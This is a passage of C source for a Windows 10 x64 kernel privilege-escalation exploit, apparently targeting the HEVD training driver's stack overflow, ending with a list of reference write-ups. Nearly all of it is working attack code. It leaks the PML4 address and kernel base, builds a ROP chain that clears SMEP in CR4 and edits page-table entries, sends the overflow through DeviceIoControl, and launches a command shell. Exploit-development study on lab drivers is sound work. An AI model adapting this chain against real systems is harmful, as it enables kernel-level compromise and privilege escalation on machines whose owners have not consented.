memcpy(shellcode_addr, shellcode, sizeof(shellcode));
unsigned __int64 initial_time;
unsigned int candidate_entry;
void *pml4_address;

// User message
printf ( "\n" );
printf ( "[+] Leaking PML4...\n" );

// Taking initial time
initial_time = GetTickCount ();

// If PML4 address could be obtained
if ( get_pml4_address ( &candidate_entry , &pml4_address ) == TRUE )
{
// Printing results
printf ( "[+] Elapsed time: %lli ms\n" , GetTickCount () - initial_time );
printf ( "[+] PML4: %I64x (entry %x)\n" , ( unsigned __int64 ) pml4_address , candidate_entry );
}
else
{
// Printing results
printf ( "[-] Error: PML4 couldn't be leaked\n" );
exit(0);
}

printf ( "[>] init buff!\n" );

INT64 pop_rcx_offset = kernel_base + 0x3f34d0; // gadget 1
INT64 rcx_value = 0x70678; // value we want placed in cr4
INT64 mov_cr4_offset = kernel_base + 0x9a323d; // gadget 2
INT64 mov_rax_rcx = kernel_base + 0x140205364 - 0x140000000; // 0x0000000140205364: mov qword ptr [rax], rcx; ret;
INT64 pop_rax = kernel_base + 0x1402017f2 - 0x140000000; // 0x00000001402017f2: pop rax; ret;
INT64 mov_rcx_eax = kernel_base + 0x1405601a1 - 0x140000000; // 0x00000001405601a1: add al, 0x48; mov dword ptr [rcx], eax; ret;
INT64 sub_esp_rcx = kernel_base + 0x1404160f0 - 0x140000000;// 0x00000001404160f0: sub esp, ecx; mov eax, 0x14; ret;
INT64 pop_rax_rcx = kernel_base + 0x1403f34cf - 0x140000000;// 0x00000001403f34cf: pop rax; pop rcx; ret;
INT64 wbinvd = kernel_base + 0x14037fc50 - 0x140000000;// 0x000000014037fc50: wbinvd; ret;
INT64 sub_stack_value = 0x60;

INT64 mask = 0x0a000001 + 0x100 - 0x48;
INT64 mask_u = 0x8a000001 + 0x100 - 0x48;
INT64 pml4_for_shellcode = (( unsigned __int64 ) pml4_address + 0x1c);


BYTE input_buff[0x818 + 0x8 * 9] = { 0 };
memset(input_buff, '\x41', 0x818);

memcpy(input_buff + 0x818 + 0x8 * 0, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 0x818 + 0x8 * 1, (PINT64)&rcx_value, 8); // disable SMEP value
memcpy(input_buff + 0x818 + 0x8 * 2, (PINT64)&mov_cr4_offset, 8); // mov cr4, rcx

memcpy(input_buff + 0x818 + 0x8 * 3, (PINT64)&pop_rax_rcx, 8); // pop rax; pop rcx; ret
memcpy(input_buff + 0x818 + 0x8 * 4, (PINT64)&mask, 8); // value
memcpy(input_buff + 0x818 + 0x8 * 5, (PINT64)&pml4_for_shellcode, 8); // pml4_address
memcpy(input_buff + 0x818 + 0x8 * 6, (PINT64)&mov_rcx_eax, 8); // add al, 0x48; mov dword ptr [rcx], eax
memcpy(input_buff + 0x818 + 0x8 * 7, (PINT64)&wbinvd, 8); // wbinvd
memcpy(input_buff + 0x818 + 0x8 * 8, (PINT64)&shellcode_addr, 8); // shellcode

memcpy(input_buff + 0x818 + 0x8 * 5 - 0x40, (PINT64)&pop_rcx_offset, 8); // pop rcx
memcpy(input_buff + 0x818 + 0x8 * 6 - 0x40, (PINT64)&pml4_for_shellcode, 8); // pml4_address
memcpy(input_buff + 0x818 + 0x8 * 7 - 0x40, (PINT64)&mov_rcx_eax, 8); // add al, 0x48; mov dword ptr [rcx], eax


printf ( "[>] go!\n" );

DWORD bytes_ret = 0x0;

int result = DeviceIoControl(hFile,
IOCTL,
input_buff,
sizeof(input_buff),
NULL,
0,
&bytes_ret,
NULL);

if (!result) {
printf ( "[-] Error!\n" );
}
}

INT64 get_kernel_base() {

//https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp
//also using the same import technique that @tekwizz123 showed us

PNtQuerySystemInformation NtQuerySystemInformation =
(PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"NtQuerySystemInformation");

if (!NtQuerySystemInformation) {
exit(1);
}

ULONG len = 0;
NtQuerySystemInformation(SystemModuleInformation,
NULL,
0,
&len);

PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION)
VirtualAlloc(NULL,
len,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation,
pModuleInfo,
len,
&len);

if (status != (NTSTATUS)0x0) {
exit(1);
}

PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress;

return (INT64)kernelImageBase;
}

void spawn_shell() {

PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));

STARTUPINFOA si;
ZeroMemory(&si, sizeof(si));

printf ( "[>] shell!\n" );

CreateProcessA("C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
0,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi);
}

int main() {

HANDLE hFile = grab_handle();

INT64 kernel_base = get_kernel_base();
send_payload(hFile, kernel_base);
spawn_shell();
}

Reference

ProbeForRead

Windows内核漏洞学习之栈溢出-hevd第一篇

Windows Kernel: Bypass Protection && Run Shellcode

HEVD Exploits – Windows 10 x64 Stack Overflow SMEP Bypass

HVCI

Kernel exploitation: weaponizing CVE-2020-17382 MSI Ambient Link driver

Windows 10 KVAS and Software SMEP

HEVD Exploit - Stack OverflowGS on Windows 10 RS5 x64 | Kristal’s Notebook (kristal-g.github.io)